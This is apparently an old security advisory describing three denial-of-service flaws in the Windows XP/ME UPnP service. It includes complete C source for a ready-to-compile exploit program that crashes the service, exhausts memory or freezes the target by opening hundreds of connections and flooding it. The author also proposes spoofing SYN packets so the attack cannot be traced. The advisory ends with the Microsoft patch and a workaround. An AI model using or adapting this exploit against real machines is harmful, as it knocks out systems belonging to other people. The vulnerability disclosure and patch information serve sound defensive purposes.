|
COMMAND upnp SYSTEMS AFFECTED Windows XP, Windows ME PROBLEM \'ken\' of FTU found three vulerabilities in Windows XP. We are attacking a server named SSDPSRV bound to port 5000 running on XP or selected versions of WinME. This is Microsoft\'s UPNP server that is installed and runs by default on WindowsXP. In two of the three hacks we are interested in a .dll named MSVCRT.dll. This library has a page fault that can be used to crash the application. The first DOS is simply due to bad code. We can send the application a specific header and it will crash the server. There is a page fault at 0197:78004a16 in MSCVRT.dll. The second DOS is due to the way the SSDPSRV handles input. We can chew up memory by opening a connection, sending the proper header, and then just strings and strings of \'A\'s (or whatever else you like). If one connection is made and such strings are sent we will receive a page fault in MSVCRT.dll again. This time it is at 0197:010083fe. But, if we open approximately 200 connections and send the proper header followed by a string of \'A\'s we can deplete the system resources. Using a Pentium II 336Mhz machine I tested a Pentium IV 1.4Ghz with 128M of memory and took the system resources from 65% to 48% in 20 minutes. The only problem with this method is that it takes a substantial amount of time to send these strings over the network. The third and final DOS is the cool one. SSDPSRV cannot handle multiple connections well. If one opens up 1018 simultaneous connections one can temporarily freeze the machine. The user\'s keyboard and mouse input are held in the buffer but do not appear to register. With this attack one can sink the system resources under 4% in about a second. In a minute or two the system corrects itself. Exploit Code ============= Compiled on Red Hat Linux 7.1. Note that one of my tests is enhanced for the effect. I exaggerated the EIP scenario to really pump the server full of \'A\' to reduce the computer\'s memory. To test for an overflow one would not need as many connections. If I had time to improve this code I would change the section that makes 1000 simeltaneous connections. Given the nature of the problem I would send spoofed SYN packets to the affected host. This should adacquately simulate making a connection and should also have the same effect for reducing the affected machine\'s memory. The benefits of the packet construction would be that it should take up less resources on the attacker\'s machine and the attack would not be traceable with a spoofed IP address. gcc XP3dos.c -o XP3dos /*------------------------------- Snip here -----------------------------*/ /*----------------------------------------------- XP3dos.c Three WinXP/ME DOS Attacks by \'ken\' of FTU -- 10/23/01 franklin_tech_unlimited@yahoo.com ------------------------------------------------*/ #include <stdio.h> #include <stdlib.h> #include <netinet/in.h> #include <unistd.h> #include <sys/types.h> #include <sys/socket.h> #include <netdb.h> #include <string.h> #define MAX 256 #define SS struct sockaddr char *DISCOVER[] = { \"M-SEARCH * HTTP/1.1\\r\\n\" \"HOST: 239.255.255.250:1900\\r\\n\" \"MAN: \\\"ssdp:discover\\\"\\r\\n\" \"MX: 5\\n\" \"ST: \\\"ssdp:all\\\"\\r\\n\" }; int main(int argc, char *argv[]) { int socks[1024], i, k, num_of_socks, port; struct sockaddr_in winxpbox; char *ip; char temp[10000]; char sploit[12000]; char buffer[MAX+1]; printf(\"\\nThree WinXP/ME UPNP DOS Attacks\"); printf(\"\\nby \'ken\' of FTU -- 10/23/01\"); printf(\"\\nfranklin_tech_unlimited@yahoo.com\\n\\n\"); if(argc<3) exit(print_opts()); ip=argv[1]; winxpbox.sin_family=AF_INET; winxpbox.sin_addr.s_addr=inet_addr(ip); winxpbox.sin_port=htons(5000); if(strstr(argv[2],\"-tf\")){ num_of_socks = 1021; } else if(strstr(argv[2],\"-dm\")){ num_of_socks = 199; } else if(strstr(argv[2],\"-ca\")){ num_of_socks = 4; } else{ print_opts(); return 0; } /* build sockets */ for(k=0;k<=num_of_socks-1;k++){ printf(\"Creating socket #%i!\\n\",k+1); socks[k]=socket(AF_INET,SOCK_STREAM,0); if(socks[k]<0) exit(printf(\"Socket error\\n\")); /* this line eliminates need to change format to do-while and guarentees only one socket is created/referenced on the -ca flag*/ if(num_of_socks==4) break; } printf(\"\\nTrying to Connect....\\n\"); for(k=0;k<num_of_socks-2;k++){ if((connect(socks[k],(struct sockaddr *) &winxpbox, sizeof(winxpbox)))<0) exit(printf(\"Connection error: Socket #%i\\n\",k+1)); printf(\"Socket #%i Connected...!\\n\",k+1); if(num_of_socks==4)break; } /********************************************************************/ if((strstr(argv[2],\"ca\")) || (strstr(argv[2],\"dm\"))){ sprintf(sploit,\"%s\",*DISCOVER); printf(\"\\nSending Header of Exploit!\\n\\n\"); write(socks[0],sploit,strlen(sploit)); if(strstr(argv[2],\"dm\")){ printf(\"Building Exploit Code Now...!\\n\"); for(i=0;i<=9999;i++){ temp[i]=\'A\'; } for(k=1;k<=num_of_socks-4;k++){ write(socks[k],sploit,strlen(sploit)); } for(i=0;i<=1999;i++){ for(k=0;k<=num_of_socks-4;k++){ sprintf(sploit,\"%s%s\",temp,temp); printf(\"Attacking host with sploit! 20000 A\'s times %i:On Socket #%i\\n\",i+1,k+1); write(socks[k],sploit,strlen(sploit)); } } } } /**********************************************************************/ /* send keystrokes saying we finished transmitting data */ for(k=0;k<=num_of_socks-4;k++){ sprintf(sploit,\"\\r\\n\\r\\n\"); printf(\"Sending Closing Keystrokes for Socket #%i\\n\",k+1); write(socks[k],sploit,strlen(sploit)); if(num_of_socks==4) break; } /* Guess status */ /* \'ken\': this code was for debugging. I left it in here... */ /*************************************** for(k=0;k<=num_of_socks-4;k++){ if(read(socks[k],buffer,sizeof(buffer))<0) exit(printf(\"\\n\\nNo reply: machine crashed?\\n\\n\")); else printf(\"%s\",buffer); printf(\"\\n\\nMachine replied: Failed to crash!\\n\\n\"); } ***************************************/ /* close socket */ for(k=0;k<=num_of_socks-4;k++){ printf(\"Closing Socket #%i\\n\",k+1); close(socks[k]); if(num_of_socks==4) break; } printf(\"\\nFinished DOSing WinXP/ME\"); printf(\"\\nHave a nice day! -\'ken\'\\n\\n\"); return 0; } print_opts() { printf(\"\\n **** WinXP/ME UPNP DOS Usage ****\"); printf(\"\\n<ip address of WinXP/ME box><exploit>\"); printf(\"\\n exploit choices:\"); printf(\"\\n -tf temporary freeze\"); printf(\"\\n -dm deplete memory\"); printf(\"\\n -ca crash application\\n\\n\"); return; } /*------------------------------- Snip here -----------------------------*/ /* EOF */ SOLUTION Patch available, see Microsoft bulletin for details. http://www.microsoft.com/technet/security/bulletin/ms01-054.asp UPDATE ======= Warning to Windows ME users : there are problems with the Windows ME patch. The problem is that upnp.dll does not seem to be registered. This is the case when UPnP component is already installed (via Add/Remove Components) and the update is applied. Result is Explorer hangs and machine performance can be erratic. However, in the case where UPnP component is not installed, the update is applied, and then UPnP component is added, there seems to be no issues. Apps including IE work and Explorer is fine at each and every stage. The Windows 98 and XP patches are error free. Remediation: ====== Customers who are experiencing problems as a result of the Windows ME patch can go to the %windir%\\system directory and run \"regsvr32 upnp.dll\" (no quotes). Reboot. Customers who are unable to register the upnp.dll should contact Microsoft Product Support Services for assistance. There is no charge for support calls associated with security patches. Information on contacting Microsoft Product Support Services can be found at: http://www.microsoft.com/support